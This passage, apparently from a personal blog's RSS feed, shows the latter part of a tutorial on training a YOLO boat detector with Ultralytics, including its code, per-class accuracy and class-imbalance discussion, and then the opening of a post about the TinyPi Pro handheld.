class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;train&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cut&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pairs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cut&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parents&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parents&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;jpg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shutil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jpg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jpg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shutil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;data.yaml&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;path: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;train: images/train&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;val: images/val&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;nc: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;names: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;names&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;600 images to train on, 150 held back.&lt;/p&gt; &lt;p&gt;Before starting anything I counted the boxes per class, which is a habit I would recommend to anyone and which I am about to spend most of this post justifying:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;{&apos;Tug&apos;: 186, &apos;Ferry&apos;: 38, &apos;Sailboat&apos;: 364, &apos;Cruise&apos;: 1518, &apos;Unknown&apos;: 83} malformed: 0 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Then the training, which is the bit that replaced two thousand words of configuration advice:&lt;/p&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ultralytics&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;YOLO&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YOLO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;yolo26n.pt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;train&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;boats/data.yaml&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;epochs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;imgsz&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;640&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;device&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;batch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;patience&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;That is all of it. The class count comes out of the YAML, the detection head gets rebuilt to match, and the COCO weights carry into everything else. Sixty epochs took 773 seconds, so call it thirteen minutes. I had run the same thing on my laptop first, an M3 Pro through Metal, where an epoch took about 70 seconds against the T4’s 13, and I would not bother with the laptop again for a job this size.&lt;/p&gt; &lt;p&gt;The result:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mAP50 0.778 mAP50-95 0.444 precision 0.617 recall 0.796 inference 4.65 ms per image &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Which is a perfectly decent detector for thirteen minutes of work. The 2019 version of this post reported no mAP at all. It showed a photo with boxes on it, and I apparently considered that a result.&lt;/p&gt; &lt;h2 id=&quot;the-number-that-matters-is-not-that-one&quot;&gt;The number that matters is not that one&lt;/h2&gt; &lt;p&gt;Break 0.778 apart by class and it stops being a single reassuring figure:&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Class&lt;/th&gt; &lt;th&gt;Training boxes&lt;/th&gt; &lt;th&gt;mAP50&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Cruise&lt;/td&gt; &lt;td&gt;1518&lt;/td&gt; &lt;td&gt;0.983&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Sailboat&lt;/td&gt; &lt;td&gt;364&lt;/td&gt; &lt;td&gt;0.929&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Unknown&lt;/td&gt; &lt;td&gt;83&lt;/td&gt; &lt;td&gt;0.792&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Tug&lt;/td&gt; &lt;td&gt;186&lt;/td&gt; &lt;td&gt;0.689&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Ferry&lt;/td&gt; &lt;td&gt;38&lt;/td&gt; &lt;td&gt;0.498&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;The tempting story is that accuracy follows the box count, and Cruise at 1518 against Ferry at 38 looks like a clean demonstration of it. I believed that for about ten minutes, then measured the box sizes and found the classes differ on that too: Cruise objects have a median area of 3.79% of the frame, roughly 249 pixels across, while everything else sits between 0.22% and 0.43%, around 60 to 84 pixels. So Cruise ships are both the most common thing in the harbour and by far the largest, and some unknown share of that 0.983 is just that a 249 pixel object is easy to find.&lt;/p&gt; &lt;p&gt;Among the four small classes the comparison is fairer, since they are all within about 25 pixels of each other. There the counts do mostly govern: Sailboat with 364 examples gets 0.929, Ferry with 38 gets 0.498 despite having the largest median box of the four. Tug and Unknown come out the wrong way round though, so it is a tendency and not a law, and I am not going to pretend the data is tidier than it is.&lt;/p&gt; &lt;p&gt;I did not construct any of this. I labelled frames from a video of a working port, and a working port contains a great many enormous cruise ships and almost no ferries. Both skews arrived with the footage.&lt;/p&gt; &lt;p&gt;That is the thing I would want someone to take from this post. Real data hands you several confounded problems at once and gives you one aggregate number to notice them through, and 0.778 does not look like a model with a class in it scoring 0.498.&lt;/p&gt; &lt;p&gt;There is no clever fix, by the way. Label more ferries. If you cannot, weight the loss towards the rare classes, oversample them, or accept that you are merging Ferry into Cruise whether you write it down or not. I wrote a &lt;a href=&quot;/object-detection-with-Fizyr-Retinanet/&quot;&gt;companion post&lt;/a&gt; about the accuracy-first end of this, where a much heavier model gets Ferry to 0.995 and where I go into why I am not willing to say exactly what fixed it.&lt;/p&gt; &lt;h2 id=&quot;running-it&quot;&gt;Running it&lt;/h2&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YOLO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;runs/detect/train/weights/best.pt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;predict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;boats/images/val/output-000000197.jpg&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;boxes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;tolist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# {&apos;Cruise&apos;: 2, &apos;Sailboat&apos;: 1} &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;prediction.jpg&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;On a validation frame it never saw:&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/object-detection/yolo26n-prediction-480w.avif 480w, /assets/images/object-detection/yolo26n-prediction-640w.avif 640w, /assets/images/object-detection/yolo26n-prediction.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/object-detection/yolo26n-prediction-480w.webp 480w, /assets/images/object-detection/yolo26n-prediction-640w.webp 640w, /assets/images/object-detection/yolo26n-prediction-960w.webp 960w, /assets/images/object-detection/yolo26n-prediction.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/jpeg&quot; srcset=&quot;/assets/images/object-detection/yolo26n-prediction-480w.jpg 480w, /assets/images/object-detection/yolo26n-prediction-640w.jpg 640w, /assets/images/object-detection/yolo26n-prediction-960w.jpg 960w, /assets/images/object-detection/yolo26n-prediction.jpg 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/object-detection/yolo26n-prediction.jpg&quot; alt=&quot;Three vessels in a harbour, each with a green detection box labelled Cruise at confidence 0.95, 0.96 and 0.98&quot; class=&quot;&quot; width=&quot;1280&quot; height=&quot;720&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;p&gt;Three ships at 0.95, 0.96 and 0.98, which looks like a clean sweep until you check the labels for that frame and find four objects. The missing one is a sailboat about 44 pixels wide, tucked against the left edge, and the model does not return it at any confidence I would accept. Same problem as the table, in a single picture.&lt;/p&gt; &lt;p&gt;If you came here from the old version: ignore the Darknet material entirely. Label Studio and CVAT both do what HyperLabel used to. The &lt;a href=&quot;/assets/files/yolo/yolo-dataset.zip&quot;&gt;dataset&lt;/a&gt; still downloads and the labels in it are still good, so you can skip the labelling step entirely and go straight to training.&lt;/p&gt; </description> <pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate> <link>https://tejashwi.in/training-yolov3-using-custom-dataset-on-google-colab/</link> <guid isPermaLink="true">https://tejashwi.in/training-yolov3-using-custom-dataset-on-google-colab/</guid> <category>ml</category> <category>machinelearning</category> <category>colab</category> <category>yolo</category> <category>object-detection</category> <category>ultralytics</category> <category>Machine Learning</category> <category>Python</category> <category>Colab</category> </item> <item> <title>Tiny Pi Pro, a super tiny gaming handheld based on Raspberry Pi Zero</title> <description>&lt;p&gt;When the TinyPi Pro kit arrived, I wasn’t sure I could actually play games on something this small. The whole thing fits on a keychain. But it works.&lt;/p&gt; &lt;p&gt;I covered the wider scene of these builds in &lt;a href=&quot;/relive-retogaming-raspberry/&quot;&gt;an earlier post on Raspberry Pi retro gaming&lt;/a&gt;. This one is about living with the TinyPi Pro specifically.&lt;/p&gt; &lt;p&gt;Pi0cket (also known as moosepr) built this as a hobby project. The first version had a low-resolution display, limited buttons, and a partial 3D case:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/tinypipro/tiny_pi.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/tinypipro/tiny_pi.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/tinypipro/tiny_pi.jpg&quot; alt=&quot;tiny pi&quot; class=&quot;&quot; width=&quot;300&quot; height=&quot;250&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;The Pro version fixed those problems. It doesn’t require any soldering.&lt;/p&gt; &lt;h2 id=&quot;whats-changed&quot;&gt;What’s Changed&lt;/h2&gt; &lt;p&gt;The screen is now a 1.3 inch IPS display at 240x240 pixels with good viewing angles.&lt;/p&gt; &lt;p&gt;Sound comes through i2s (Inter-IC Sound), which the Raspberry Pi supports natively. It won’t replace headphones, but it works.&lt;/p&gt; &lt;p&gt;The kit includes a 400mAh battery. About an hour of playtime under heavy use.&lt;/p&gt; &lt;p&gt;The case uses selective laser sintering (SLS), which gives it a smooth finish. It’s one of the better cases I’ve seen in DIY kits.&lt;/p&gt; &lt;div id=&quot;imageSlider&quot; class=&quot;carousel slide&quot; data-bs-ride=&quot;carousel&quot;&gt; &lt;div class=&quot;carousel-indicators&quot;&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;0&quot; class=&quot;active&quot; aria-current=&quot;true&quot; aria-label=&quot;Slide 1&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; data-bs-target=&quot;#imageSlider&quot; data-bs-slide-to=&quot;1&quot; aria-label=&quot;Slide 2&quot;&gt;&lt;/button&gt; &lt;button type=&quot;button&quot; 